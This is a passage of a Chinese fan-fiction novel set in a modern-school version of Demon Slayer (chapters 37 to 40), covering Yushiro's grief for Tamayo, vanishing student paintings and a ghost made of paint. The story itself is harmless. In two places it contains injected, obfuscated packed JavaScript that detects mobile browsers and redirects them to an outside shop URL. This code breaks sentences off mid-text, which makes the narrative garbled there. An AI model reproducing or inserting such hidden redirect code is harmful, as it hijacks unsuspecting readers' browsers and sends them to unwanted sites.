“你是愈史郎先生?” 听到珠世这个名字,炭治郎立刻明白眼前的人是谁了。对方不就是那位有名的绘画大师吗?难怪这么有钱!住得起这样的别墅! 只是没想到宇髓老师和甘露寺小姐崇拜的愈史郎大师,居然这么年轻! 然而在愈史郎大师出现后,无惨突然震怒起来。 “杀了他!杀了他!灶门炭治郎给我杀了他!” “怎么了无惨?” 这还是无惨第一次在炭治郎面前暴露出这么浓烈的杀意。 然而无惨没有解释,只是一味地让炭治郎杀了愈史郎。炭治郎也没有管他,只当他病发了,又开始不正常了。 他拎着蛋糕冲还在愣神的愈史郎喊道:“愈史郎先生,能开门先让我进来吗?” 听到他的话,愈史郎急匆匆地朝他走了过来,一下拉开大门,力气之大把炭治郎吓了一跳,他还是第一次见除了甘露寺小姐以外的人,有这么强的臂力。 然而下一秒… “疼疼疼…” 炭治郎的脸被愈史郎猛地掐住,疼得他拍开对方的手,摸着红肿的脸,委屈地质问道。 “初次见面,愈史郎先生你干什么呢?” 自己好像也没有得罪他吧,难道是因为他送迟了?可本来也是愈史郎先生自己提出要晚上送的啊。 愈史郎一把从炭治郎身上,将茶茶丸抱回怀中。 “还说!既然不是梦,你早说啊!” “你说话真奇怪?” 搞艺术的人说话都这么深奥吗?宇髓老师是这样,愈史郎大师也是这样,说的话他一个字也听不懂。 他将蛋糕递上前:“这是你的蛋糕,请慢用。” “还有请在这里签上字。” 他指了指收据,让愈史郎签名。 愈史郎飞快地签上字,然后付了蛋糕钱,抢过蛋糕后,将钱和收据强硬地塞到炭治郎怀中。 “好了,快滚!” 炭治郎确认签好名后,便离开了。 走的时候,他的脸还疼呢。 轻抚着肿着地方,他在想回去后,怎么跟爸爸妈妈解释,难道说自己莫名其妙被人掐了一下。 都走出去好远了,炭治郎还能听到猫叫。 回头一看,那个奇怪的愈史郎大师还抱着茶茶丸在看他,茶茶丸在对方怀里扑腾着,拼命地伸着前爪,似乎对炭治郎依依不舍。 炭治郎也很喜欢那只小猫,可茶茶丸是有主人的。 那一人一猫的气味都如此相近。 只是离开前,他还是冲茶茶丸挥了挥手,以示告别。 “喵~”茶茶丸的叫声里,都带上一丝哭腔了。 “好了。” 直到炭治郎彻底没了身影,愈史郎这才愤怒地呵斥着茶茶丸。 “那已经不是你认识的炭治郎了,他根本就不认识我们。” 他一边死死地按住怀里的茶茶丸,一边教训道。 “那种人有什么好惦记的,回来的又不是珠世小姐。” 他用着极为严厉的语气,可垂下眼眸时,他的眼中却带着浓浓的哀伤。 他拎着蛋糕回到家中,那栋黑漆漆的别墅里,到处都是珠世画像,走廊、大厅、楼梯…密密麻麻、大大小小的画像,几乎塞满了整栋别墅,他抱着茶茶丸,推门进入画室。 画室里,摆着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183976|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅巨型画像。 那画像无疑就是珠世,美丽神秘温婉。 愈史郎将蛋糕放在画像前,整个人靠着画像坐了下来,他看着周围一幅又一幅珠世画像,轻抚着怀中的茶茶丸。 “生日快乐,珠世小姐。” “喵~”茶茶丸也轻轻叫了一声,仿佛也在对着画像说生日快乐。 愈史郎看着茶茶丸,知道它也是想珠世小姐了,可是他们一鬼一猫却只能对着画像以表思念。 他低着头,瞥向那个漂亮的蛋糕。 “珠世小姐,你到底还让我等多久。” “炭治郎都已经转世来到这个世间了,你什么时候回来。” “喵喵~” 他不停地喃喃自语着,只有茶茶丸的喵喵叫在回应他… 另一边,炭治郎回到家后,脸上的红肿果然就被家里人发现了,虽然炭治郎说是自己不小心摔的,可是葵枝有发现小电驴,根本就没有摔倒的痕迹。 而且那印子恐怕是被人掐出来的。 她想到一种可能性。 “以后那栋宅子的订单别接了吧。”她对炭十郎说道。 他们不能因为赚钱,而让自己的孩子被欺负。 隔了差不多一周后,愈史郎又向炭治郎家下了一个订单。 “对不起,你要的蛋糕现在没有材料。”电话那头葵枝如此说道。 愈史郎一开始没当一回事,于是又过了一段时间再一次打电话,可那头又说机器坏了,之后便是什么休息日,什么孩子他爸病了。 久而久之愈史郎猛地意识到,自己是不是被那家店拉黑了? “喵喵喵~” 见炭治郎不能来送蛋糕的茶茶丸,生气地抓挠着愈史郎,似乎是在责怪他,居然连炭治郎也叫不来。 “别吵!不就一个炭治郎有什么好想的!” 说是这么说,但这周他已经连续打了四次电话了,而且都是在茶茶丸催促之前,就连此刻的脸色都臭。 没有办法,作为鬼的他,白天根本无法出门。晚上出门,人家店又关了。 鬼和人的时间是错位的。 他在想,实在不成,搬个新家,用新地址来订蛋糕吧。 这样那个灶门炭治郎总会来吧。 “阿嚏!” 正在上美术课的炭治郎突然打了个喷嚏,他不知道有人多么想见他一面。 因为这个喷嚏,导致他手一抖,给画多了一笔。 不行,得赶紧改掉。 “等一下!” 就当他要用别的颜色填补之时,却被宇髓给叫住了。 “多么华丽的一笔啊!”宇髓站在他的身边,眼中尽是欣赏。 “这个才是艺术啊!这笔触!这爆炸性的一笔!这瑰丽的颜色!满分!满分!” 炭治郎不明白自己这乌龙的一笔,究竟哪里好看了? 炭治郎看不懂,但大为震惊。 果然搞艺术的说话,总是让人听不懂。 既然宇髓老师说都可行了,那他就不改了,就这样把这幅风景画,交了上去。这幅画是他们期末作品,希望能获得一个好名次啊。 临近下课,他最后看了一眼自己的作品,依旧觉得除了那乌龙一笔外,哪哪都好… “不好了!”这时甘露寺助教推门而入,一脸慌张! “画又自己消失了!” 38.第 38 章 宇髓朝甘露寺比了一个“嘘”的手势,甘露寺赶紧捂嘴。 之后两人出了教室门,不知在外面说些什么。 “善逸,发生什么事了?两个老师这么神秘。”炭治郎问起善逸来。 善逸竖起耳朵。 “甘露寺助教说,旧画室里那些以前学生画的画丢失了。” “宇髓老师问丢几幅。” “甘露寺助教说三幅。” 即使不用出门,凭善逸的耳力,也将屋外发生的对话,听得清清楚楚,并转述给炭治郎。 “咱们学校来小偷了!那抓小偷啊!”伊之助不知道什么时候把头凑过来,也一并听了去。 在听到有小偷,他显然很高兴,叫嚣着要去抓小偷。 他这么一吼,班上其他人都看了过来。 “小偷?什么小偷?”玄弥震惊地抬起头。 香奈乎:“谁东西被偷了?我去告诉老师。” 班上很快闹作一团,吵闹声引来了宇髓和甘露寺,在听到众人讨论小偷的事,宇髓马上就知道肯定是善逸听到了他们的对话。 当即就把善逸、炭治郎和伊之助拉了出去。 “你说你们三个,课堂上乱讲话,违反纪律!”宇髓生气地指责道。 “这能怪我吗?还不是你们说得太大声了!”善逸立刻狡辩起来。 真不想让他听到,就跑远点说啊,又不是他故意要听的。 “而且是炭治郎先问我的。” “没错,是炭治郎先说有小偷的。”伊之助也理直气壮道,并且还难得叫对了炭治郎的名字,也不知道是不是故意的。 只有炭治郎乖乖低下头:“对不起,是我多嘴了。” “算了,算了,宇髓老师。这也怪不了他们。”甘露寺从旁替三人说好话。 “这事迟早瞒不住的,而且怕是会当作怪谈,在学校流行起来吧。” “怪谈?不就是几幅画被偷吗?怎么会被当作怪谈呢?”炭治郎不解道。 “莫非是鬼偷了?”伊之助脑洞大开。 “没关系,就算是鬼偷的,俺也能把他抓出来。” 显然他是真的想去抓小偷,而且自上次遇到贞子后,他也一直心心念念地想再抓一次鬼。 纹逸都能砍断鬼的胳膊!他也能! “不要啊!”听到有鬼,善逸则抱着头痛苦尖叫。 “我再也不想遇到鬼了!” 他算是遇鬼遇得最多的,每次都吓得不轻,而且上次还差点死了。这么大的心理阴影,让他现在听到鬼就应激。 “切,真胆小。” 看到他这幅样子,宇髓一脸鄙夷。 突然,他似想到了什么,一一指过三人:“对了,你们一个鼻子灵,一个耳朵灵,一个直觉灵来帮忙抓小偷吧。” 由于失窃的并不是什么名画,而是以往的学生作品。 这种东西警察自然不会受理。可是宇髓看不惯,那些华丽艺术被偷走,他怎么也要找回那些画。 而且那些画,确实被偷得有些诡异。 甘露寺听罢,开心地抚掌:“真是个好主意,有炭治郎三人在,一定能尽快抓住犯人的!” 听到要去抓小偷,炭治郎和伊之助都很积极,只有善逸是被拖过去的。 善逸几乎是一路尖叫着被拖到了旧画室,打开旧画室的门时,他还捂着眼睛,害怕看到什么可怕的场景,但是等了很久,却依旧安静。 小心翼翼地睁开眼,只见满屋的画架、画作,由于时常有人打扫,所以十分干净,阳光透过窗明几净的玻璃,照了进来,显得十分温馨。 这也没鬼呀。 善逸松了一口气。 “甘露寺助教,是哪几幅画被偷了?”炭治郎问道。 “是这几幅。”甘露寺拿出几张白纸,递到三人面前。 “这不是什么都没有吗?”伊之助抬头疑惑地问道。 “这白纸还怎么偷啊?”善逸也是一脸疑惑。 这几张白纸,除了有些泛黄外,连破损也没有。 宇髓一脸鄙夷地看着他们:“这都看不出来吗?这上面原来可是有很华丽的画作的。” “咦?” 三脸震惊。 “你们仔细看。” 甘露寺将那几张白纸一一放在地上摊开,并且指着其中几张,只见那几张右下角,有着学生签名,有些写下是几年几月几号画的。 这些都证明了,这些白纸上原先是有画的。 但现在那些画作都凭空消失了!没有留下一点痕迹。 这是什么顶级偷盗手法。 但是这么高明的手法,为什么要偷几幅学生的画? 宇髓:“事情大概是从一周开始的,我想整理一下,学生们的旧画,找些灵感。” “因为有一幅五年前毕业的学生画作,画得十分华丽。” “那幅叫须磨的画,是真华丽啊。我时常拿出来翻看,但是那天想再找时,却不见了。” “自那之后,就时不时有画消失。” 零零总总地消失了十三幅画,而且每一幅都是人物画,且是美人图。 “居然都是美人图!难不成哪个男生偷的!可恶啊!居然偷漂亮人画像!他想干什么!” 在听到被偷的都是美人图后,善逸顿时嫉妒了! 该说是小偷有品味呢?还是说他不要脸!偷学生画作也就罢了,还尽挑一些好看的。 “太可恶了!炭治郎、伊之助!我们一定要把这该死的犯人给抓住。” 善逸还是第一次那么积极地想要抓拿犯人。甚至炭治郎都能看到他眼中的熊熊烈火了,看来对于美人图被偷这件事,他是真的很上心呢。 “那就说好,晚上一起来这里集合,本华丽之神带领你们一起抓小偷。”宇髓已经自觉地当起团队老大。 虽然善逸很不甘心,为什么他们要以宇髓老师为领头,但是听到甘露寺助教在那里立正,敬礼,保证完成任务,就连炭治郎和伊之助,也是有样学样。 罢了,反正晚上甘露寺助教也会来…让宇髓老师当领头,主当领头吧! 他要和甘露寺助教一起行动。 在约定好晚上的集合时间后,三人便回教室了。 他们回去时,正好上课铃声打响,悲鸣屿班主任与他们前后脚进教室,炭治郎依旧要努力听讲,才能跟上教学,直到下课铃响,他终于可以伸个懒腰了。 他这才放松一下,突然听到一旁班上同学的一声怒吼! “我没说谎!我真的看到幽灵了!” “都说是你自己看错了!镜子反射之类吧。” “没看错,就是一美女幽灵。” “你们在谈什么呢?” 就在这两人要吵起来之时,炭治郎丝滑地插了进来,两人一开始还吓了一跳见是炭治郎,立刻让他评评理。 “我们昨天在学生会整理资料,直到八点才回去。” “那个时候天都很黑了,走在走廊上的时候,看到黑长直女孩,她还冲我笑呢!结果这家伙说是我看错了。”同学A激动地说道。 同学B倒是很冷静:“不是你看错了,是什么?你都是在玻璃上看到的,那不就是幻视嘛!天那么黑,看错很正常。” “没有!我两只眼睛看得真真的。” “炭治郎,你说我俩,谁是对的呢!” 他们吵着吵着把问题抛给了炭治郎! 炭治郎被两人身上强烈气势被逼得退后两步:“这个…我也不知道呀…或许你们两都对,我不都遇到过裂口女嘛!有幽灵也很正常。” 听到炭治郎的话,这两人也冷静了下来。 同学B:“你说得也对,这世上也没有什么不可能的。是我太冲动了,对不起。” 他很快冷静下来向另一人道歉。 同学A:“不,是我语气太冲了。” 两人都意识到自己的问题,相互道歉,重新和好。 看到和好的两人,炭治郎也替他们高兴,至于幽不幽灵的事,他也没有放在心上,或许是真的看错了吧,自己都好久没有在学校里看到鬼了。 那应该不是鬼吧。 下午时,从厕所回来的善逸心情很好坐在位置上,双手捧着脸,甚至还在哼着歌。 “发生什么事了?善逸,心情这么好。” “那个…炭治郎,我走桃花运了,嘿嘿…” “刚刚在厕所里,有个很漂亮的金发女生在朝我笑呢。”一想起那个漂亮的金发少女,善逸的嘴角都要裂到耳朵根了。 “哦哦。”炭治郎似懂非懂地点点头,但他很快意识到不对劲。 “在哪?厕所?遇到的?” 他的三连问,把善逸也惊醒了。 对啊!他是在男厕所遇到的,也就是说… “不!不!不!不可能!绝对是她走错了!是她走错了!” “学校里除了那只野猪外,不可能有第二个长着女人脸的男生了!” “啪!”伊之助不快地拍了下他的头。 “你对我的脸有什么不满吗?” 伊之助环抱着气鼓鼓地问道。 现在处于青春期的他还好,小时候因为这张脸,他不止一次地被当作女孩子!甚至隔壁邻居阿姨还曾经当自己女儿小时候的小裙子送给他过! “呜呜呜…不可能…不可能的…” 即使被拍一掌善逸依旧没有清醒过来,原本以为自己走了桃花运的他,却遇上一个男人,这让他如何能接受。 不过在炭治郎看来,可能那个金发少年只是普通地向善逸打招呼,只是善逸多想了而已。 就在用同情的目光看向善逸时,伊之助一把搂住他的脖子,语气炫耀道:“圆五郎,俺跟你说,俺遇到鬼了。” “什么鬼?” “就是那个珠珠呀。” “珠珠?你是说珠世吧。”知道伊之助有叫错别人名字的习惯,炭治郎很快反应过来,伊之助是在说什么。 “伊之助,珠世小姐只是一幅画,而且她已经不在人世了。”炭治郎耐心地解释道。 “不对,那就是鬼!她还冲俺笑呢!想吓唬俺呢!” “不可能,珠世小姐不是那样的人!” 炭治郎当即下意识地反驳道,虽然他从来也没有见过珠世小姐,但却打心底地相信,珠世小姐一定是个善良的人。 毕竟无惨讨厌珠世小姐,就是最有力的证据了! 听到炭治郎在维护别人,伊之助当即就不高兴了,他猛地一拍桌子:“等着吧,权八郎,俺今天晚上就那个叫珠药的抓出来!” “唉~”面对伊之助把一幅画当作鬼,炭治郎也无可奈何。 那明明只是一幅画而已,怎么会是鬼呢? 伊之助和善逸身上都有那么重的颜料味,显然是去过画室的。 看着眼前一个震惊得根本没办法回魂,一个则在那边热血满满地要抓鬼,炭治郎只能默默地看着两人在那里发癫,露出无奈的笑容。 直到上课铃响,这两人才稍稍正常了一些。 放学后,他们各自回家,然后约好从炭治郎出发。 吃过晚饭没多久,善逸和伊之助就前后脚到了,那时炭治郎正抱着六太举高高,被哥哥举高高的六太咯咯直笑,一旁的花子和茂也吵着要举高高。 “炭治郎,你朋友来喽。” 楼下,传来妈妈的声音。 竹雄如一阵风般率先冲了下去,炭治郎还在想着,竹雄真的懂事多了,就听到楼下传来竹雄的怒吼。 “你这个花心蒲公英离我姐和我哥远点啊!” 炭治郎笑容尴尬,竹雄居然还是这么不喜欢善逸吗? 当炭治郎终于哄好三个孩子下楼时,黄色蒲公英如一道闪电一般,他都还没听清楚,就扑到他的怀里嘤嘤哭泣。 “呜呜呜 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“对啊,炭治郎说得对,你们都别吵了,这样吵下去,会打草惊蛇的。” 炭治郎和甘露寺一人拉一个,总算让两人不吵了。 “喂,你们还要在那里耽搁多久啊。” 这会伊之助已经翻校门进来了。 “喂!野猪,你单独行动什么啊!” “而且这么高,我怎么翻得过去啊!”善逸看着那高高的铁门,又忍不住抱头哀号。 宇髓鄙夷地看着他,这么点高度,至于叫着这样吗? 然后他掏出钥匙,他可是这所学校的老师,怎么会没有钥匙。 打开校门后,众人鱼贯而入。 然后宇髓不知道从哪掏出几个对奖机,分给几人。 “听好了,我太华丽了,黑夜根本遮挡不住我的光芒,所以接下来,我在办公室全程指挥。” “你黄发小子还有你炭治郎,两个人四处巡逻。” “甘露寺你在旧画室时找个地方躲起来,一旦小偷进来,就出其不意地给他一拳。” “那俺呢?”伊之助指着自己问道。 其他人都安排好了,为什么没有了。 “你…”髓宇仔细想了想。 “你小子柔韧性很好,潜伏在天花板上吧。” “go,go,go…行动起来,都有本华丽之神带领了,非得把那个偷画贼抓到!” “哦~” 五人合手打气,然后便去各自的岗位上。 只是在进教学楼前,善逸拉了拉炭治郎的衣袖:“炭治郎,你能不能陪我一起啊。” 虽然宇髓说了,要炭治郎和他东西两头巡逻,但是这么晚了,他多少还是有些怕黑的。 炭治郎抓住他的手:“别怕,善逸这里没有鬼。” “真的吗?炭治郎你别骗我。” “真的。”他指了指眼睛:“我前段时间能看到幽灵了,现在学校里很干净,完全没有鬼。” 他这话说得,好像是学会了某项技能一样。 善逸立刻离他一米,抚着脑袋,表情一言难尽。 “炭治郎,你等等,你让我缓缓。” 他倒不是嫌弃自己的朋友,只是这很奇怪吧!真的很奇怪吧!炭治郎先是被鬼给附身了,然后又觉醒了看到幽灵的能力! 炭治郎这是有什么引灵体质吗? 想到自己跟着炭治郎两次撞鬼,他又退后了好几步。 “算了,我还是自己走吧。” 他可不想再见鬼了,或许一个人还能安全些。 说完,他拔腿就跑。 “唉~善逸!”炭治郎还想嘱咐他小心一点,可是对方却一溜烟地跑了,他也只能收回手。 或许是因为对于学校过于熟悉,加上他也不是第一次晚上来学校了,所以哪怕是夜晚过来,一点灯也没有,他也是一点也没有害怕。 走在走廊上,他鼻尖微动,好奇怪,这里怎么有这么浓的颜料味。 画室也不在这个方向啊。 而且不只是这里… 炭治郎这才发现整个学校都有一股淡淡的颜料味,就像是…颜料走遍了学校… “喂喂喂…忍者一号,有发样什么异样吗?” “忍者一号,请回答。” 宇髓老师的声音从对讲机内传来,炭治郎一开始没注意到是在叫自己,直到对方叫了两遍后,才回过神来。 “在!暂时没有发现什么异样。” “忍者一号,工作期间请称职务,请叫我代号,华丽之神。” 对讲机里的声音陡然严肃起来。 “是!华丽之神,忍者一号这边没有异样,over!” 炭治郎也一秒代入任务角色。 听到炭治郎的回答,宇髓这才满意,炭治郎也继续巡逻,十分钟后,对讲机里又传来声音,只是断断续续地听不太清楚。 “喂喂喂…华丽之神!华丽之神!” 炭治郎拿起对讲机,想要听清宇髓在说些什么,可是他仔细辨别了一下,那根本不是宇髓的声音,而是善逸的! “祢豆子酱…你…好开心…” “你…说话…” “你…笑…看…” 虽然说得断断续续的,但是炭治郎却听到了祢豆子的名字。 祢豆子来了?不可能啊!祢豆子明明待在家里,不可能出来的!因为花子有功课不懂,正让祢豆子帮忙辅导呢! 更关键是,他根本没有闻到祢豆子的气息! “善逸!远离她!那个人根本不是祢豆子!”他赶紧冲着对讲机,大喊道! 然而下一秒… “啊啊啊!” 对讲机那头传来善逸的尖叫声… 39.第 39 章 “善逸!” “大家,善逸这边出事了!” 炭治郎一边喊着善逸的名字,一边通知众人。 在寻着味道找去时,只见善逸正跪在地上痛哭,他赶紧跑上前去,将他从地上抓起来。 “善逸,你怎么样,有没有受伤。” “炭治郎…呜呜…你来了…祢豆子…祢豆子…不见了,她被鬼抓走了。” 原来刚刚善逸看到祢豆子从一间教室里走出来,还对他笑呢,虽然有些奇怪为何祢豆子都没有脚步声和呼吸声,但是那可是祢豆子啊,于是他赶紧跑上去献殷勤。 本来他还很高兴能见到祢豆子的,虽然对方只是对他笑,一句话也不说,但他依旧很高兴,直到对方突然消失在他的面前。 “不,善逸,那不是祢豆子。”炭治郎立刻解释道,今晚的祢豆子根本不会来。 听到这话的善逸,脑袋宕机了几秒。 也就是说他刚刚遇到的非但不是祢豆子,反而是鬼吗? “不!”善逸大脑在颤抖! 怎么又是他遇到鬼!不是跟炭治郎分开了吗? 所以说其实有遇灵体质的人是他吗? 不!他不承认!一定是巧合!是巧合! “怎么了?小偷在哪里?” 听到炭治郎的话而赶来的众人,纷纷抄起不知道从哪捡来的木棍,四处警惕着。 炭治郎摆摆手:“不是小偷,是善逸遇鬼了。” “切,只是鬼而已吗?” “咦?不是小偷,是鬼吗?” “鬼!鬼快出来和本大爷大战三百合回。” 善逸看着这些一点也不怕鬼的人,再一次默默流泪,难道这个学校就他一个正常人了吗? 见善逸没事,宇髓立刻让所有人都回到各自的岗位上,这小偷还没有出现。 提起小偷,他想到一件事,既然甘露寺和伊之助都在这里,那么旧画室不是没人了吗!不仅是他,其他人也意识到这一点。 众人立刻朝着旧画室而去。 打开灯那一刹,依旧是满目的画作,甘露寺立刻上前检查。 “不好,果然又少了两张画。” 又有两张画变空白了。 看来是那个小偷,趁着他们离开,来到此处偷走了画。 “可恶,竟然被那该死的小偷得逞了!” 没有抓到小偷的伊之助很不甘,他生气得直跺脚。 “不行!俺就算搜遍全校也要把小偷找出来。” 说罢,他转身就要去找小偷。 炭治郎赶紧拉住他:“伊之助,别鲁莽,那小偷说不定已经走了。” “不过,好奇怪啊,小偷来过的话,应该有气息残留才对。” 就算是速度再快的小偷,只要到过这里,那就应该有气息残留才对。 甘露寺一脸惊讶道:“什么意思?炭治郎弟弟的意思是根本没人来过吗?” 如果不是人的话,那是谁把画偷走的? “难不成,真的是鬼!不要!鬼太可怕了!” “哈哈哈…鬼!俺来了!” 听到是鬼,伊之助更加激动,连袖子也扯坏了,从炭治郎手中挣脱开,并往外冲。 “伊之助!” 炭治郎大叫他的名字,可是伊之助根本不听,脚步越来越快,是真的很想抓到鬼,可是鬼踪迹根本就看不到啊。 明明他都已经觉醒了灵视能力,为何会看不到那个鬼呢? 而且鬼为什么要偷画? 这令炭治郎怎么也想不明白。 “快跟上他!” 见伊之助鲁莽地冲出去后,宇髓立刻提醒众人赶紧跟上。虽然他不怕鬼,但是真的遇上鬼,可不是开玩笑的,他作为老师,得为每个学生的安全负责! 随着他的话,众人赶紧跟上伊之助的脚步。 伊之助的速度很快,但是众人还是可以根据他的气味和声音去寻。 他们一路沿着伊之助走过的路打开通往开台的门。 “哈哈哈!鬼!找到你了!” 还没开门,便听到伊之助的大笑声,只见伊之助挥舞着木棍。 而就在伊之助的正前方,飘着一个长发温柔的少女… 那少女与伊之助还有七八分相像… “这女鬼是伊之助先祖吗?”看到那个女鬼时,甘露寺惊呆了。 毕竟两人太像了,光是站在那里,就感觉两人是有血缘关系的。 “才不是呢!”伊之助愤怒道:“是这家伙变成俺妈妈小时候的样子!” “真是可恶!竟敢变成妈妈的样子!俺要揪光你的头发!” 伊之助全程跟着直觉走,没想到想让他第一个找到了鬼,可是那鬼当真可恶,竟然变成他妈妈的模样,以为这样就让他下不了手吗? 只要是鬼,他就照揍不误! 可是那鬼飘得极高,伊之助跳得再高。 见又有女鬼,善逸吓得立刻抱住炭治郎:“炭治郎,快想办法啊!你不会有灵能力吗?” 炭治郎摇头:“我只是能看到,对付不了他们的。” 而且之前伊藤先生送他的符,在对付花子那次已经用完了。而且就无惨那性子,他也不敢放对方出来。 所以他现在是真的毫无办法。 “让我来!” 宇髓二话不说,直接将手中的木棍朝着女鬼丢了过去。 宇髓平本就长得高大,平日里又有锻炼,这一棍丢得极高,果然是够到了那女鬼,可是女鬼身影一闪,却躲了过去,并朝着他们飞来。 女鬼速度极快,直接飘到甘露寺面前,笑着捧着她的脸颊,似乎在摸什么令人满意的东西。 “甘露寺老师。” 炭治郎一把拽开甘露寺,抬脚就朝女鬼踹去,将她踹出去好几米远。 女鬼跌坐在地,伊之助立刻补刀,朝着女鬼的头就是一棒子。 “啊…” 女鬼发出嘶吼声,只是那声音尖锐刺耳,就像某种野兽的嘶吼,刺痛了每一个人的耳膜,特别是善逸,他本就对声音敏感,如今更是觉得头痛难忍。 炭治郎见状,赶紧扶起善逸,指挥着众人:“快跑。” 虽然不知道那鬼是什么,但是对方似乎是盯上甘露寺学姐了。 不管那玩意是什么,先逃出学校再说! 众人赶紧逃命,然而那女鬼在身后紧追不舍,甚至还变换了样子,她变成祢豆子的样子。 那女鬼究竟是想干什么? 众人奔跑到一半时,突然教室里的桌椅全都飞了出来,众人赶紧躲闪,宇髓更是用身体作挡,拦住那些桌椅。 “你们快走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只见她的两颊沾上了五颜六色的颜料,她感激拿帕子擦了擦却是极难擦掉。 “奇怪,这是哪沾到的。”她疑惑地嘀咕着,明明她藏在柜子时,是极小心的。 而且颜料就算沾,也是应该沾到衣服上,怎么会沾到脸上… 脸上…脸上… “是那鬼!” 四人异口同声道。 甘露寺脸上沾有颜料的位置,正是那鬼碰过的地方! “也就是说,偷走那些画的,其实是鬼吗?”伊之助垂下眼来,神色认真,开始分析道。 “那个鬼偷走了画,变成了画中人的样子,说起来,我确实有听说过,最近很多学生都见过一个漂亮女人。” 甘露寺与学生们的关系很好,那些学生们私下里总跟她说过很多事。 比如很多男生最近都走桃花运,看到漂亮女生冲自己笑。 善逸举手:“我!我就有遇到过!” 厕所里一次,刚刚一次。 “这么说来就解释得通了,我之所以没有看到他的灵,是因为他披了一层颜料。”炭治郎也终于想明白,为什么自己明明没有看到灵,但还是有鬼出现了。 有那些颜料作掩护,炭治郎自然看不出来。 既然那鬼是一团颜料的话… 甘露寺顿时有了想法:“你们听我说…” 40.第 40 章 “大家准备好了吗?” “准备好了!” 教学楼的入口前,炭治郎等人,都戴着粉色印有小猫咪的口罩,手上拿着一个喷雾瓶。 这些都是由甘露寺友情提供的。 甘露寺的作战计划很简单,既然那鬼是由颜料组成的,那就由卸妆水来对付他! 无论他们哪一个遇到鬼了,就把这些东西喷在对方身上。 只要将鬼给融化了,他们就算除灵成功了。 于是四人整装待发,拿喷雾瓶的气势犹如在拿着枪,准备随时对敌。 他们进入校学楼后,开始搜寻起来。 他们分开的楼梯口,除了一堆课桌椅子之外,果然没有任何人影。 看来宇髓老师真的被那个鬼带走了。 “在旧画室。” 炭治郎闻出宇髓的气息从旧画室传来,没想到兜兜转转地,又回到了旧画室! 众人当即往旧画室赶去。 “宇髓老师!” 炭治郎猛地推开门,众人顿时被眼前的景象惊呆了,只见宇髓正坐在画板前,手中拿着画笔。而那鬼则变成了珠世的模样,附身站在宇髓身后,握着宇髓拿着画笔的手。 两人看上去亲密无间,好似一同作画一般。 “啊啊啊!”善逸立刻尖叫起来。 “咱们就不应该来救他的!他都在和女鬼一起甜甜蜜蜜!” “啊啊啊!好嫉妒啊!凭什么啊帅哥都有女人缘啊!连鬼都能迷住!” 这让本来就连女朋友都没有善逸嫉妒得发疯。 只有宇髓简直是要被他给气死! 他额头青筋暴起:“你哪只眼睛看得我在鬼甜甜蜜蜜啊!没看到,我被控制了吗!” 如果不是鬼抓着他,他哪会坐在这里! 自己反抗得手上青筋都暴起了,结果这小子就看到这个吗? 众人看去,果然如宇髓所说,他已经很努力地想要站起,手中的画笔迟迟没有碰到画板,很明显是想摆脱鬼的控制。 可鬼控制人靠的可不仅仅是力气而已,所以他才怎么也没有挣脱开。 然而善逸却是一脸冷漠:“谁管你啊,别得了便宜还卖乖了!” “有这么漂亮的女生陪着!快道歉!快道歉!”自己可是都没有跟女生约会过呢! “善逸,别这样,我们还是快去救宇髓老师!”炭治郎赶紧劝道。 就在几人说话间,伊之助已经冲了出去。 “猪突猛进!哈哈哈!看招!看招!” 伊之助两手都持有喷雾,都还没有接近鬼,就已经按下,但好在还是有一些水喷到了鬼的身上。 正如甘露寺所想的那样,那些卸妆水果然能溶掉女鬼身上的颜料。 鬼的手臂沾到卸妆水的地方,如同融化了一般,开始剥落。 见有用,伊之助喷得更起劲了。 “看招!看招!看招!” 炭治郎等人也不甘落后,也拿起手中的喷雾,开始袭击鬼,反击的时候到了。 鬼见自己的手臂被融了,当即松开宇髓,并躲闪着。随着鬼在空中飘荡,他们开始越来越难瞄准,几人相互对视一眼,默契地从各个方向开始包围鬼,直到形成一个包围圈。 此时鬼的脸上和右手臂已经大片大片地融化。 鬼用仅剩的一只眼环视着众人,然后目光落在甘露寺身上,她不顾喷来的卸妆水,朝着甘露寺冲去,看样子是想从唯一的女生那里突破。 想起在天台时,鬼也是第一个袭击甘露寺的,炭治郎赶紧喊道。 “快躲开,甘露寺老师!” 然而已经晚了。 “啊啊!别过来啊!” 甘露寺一边喊着,一边伸出手! “碰!”的一声巨响,鬼被嵌进墙里,墙面深深凹陷,鬼在其中拔都拔不出来。 众人面露惊愕。 由于甘露寺一直都是温柔开朗的性格,这导致他们都忘了,这是一位肌肉密度是寻常人八倍的奇女子! 甘露寺也是一脸震惊:“唉,我打中了耶!” 之前在天台时,一是方向她一直听旁人的话,女孩收敛力气才能嫁出去,另一方向她也是没有反应过来自己被鬼摸脸了。 这次一回生,二回熟,她直接动手,没想到效果出奇地好。 “甘露寺老师好厉害!” “呜呜呜…甘露寺老师,我再也不要离开你一步!你要保护我!” “和俺比试力气吧!” “干得漂亮蜜璃!” 众人围在甘露寺身边,用崇拜的目光看着她,这让甘露寺更加不好意思起来了,但这种感觉还不错,比起旁人说女孩不应该有这么大的力气,她还是觉得这种能保护他人的感觉最棒了! “你们别这样了…” 正当他们陷入打败女鬼的喜悦之中,却没有发现身后的鬼开始自行融化,直到炭治郎察觉不对,反应过来时,墙面上只剩下一堆五颜六色的颜料。 “鬼是死了吗?”宇髓走上前,用手指碰了碰那堆颜料,和普通的颜料没什么区别。 “太好了,终于结束了。” 善逸松了一口气,这一晚上的,从一开始的抓小偷,再变成抓鬼,还要看宇髓老师和鬼亲密,他真的已经受够了! “俺还没有完全尽兴呢。” 没有拿到人头的伊之助显得有些失落,但接下来,炭治郎一番话,却让他立刻打起精神来。 “不,鬼没有消失,他还在学校。” 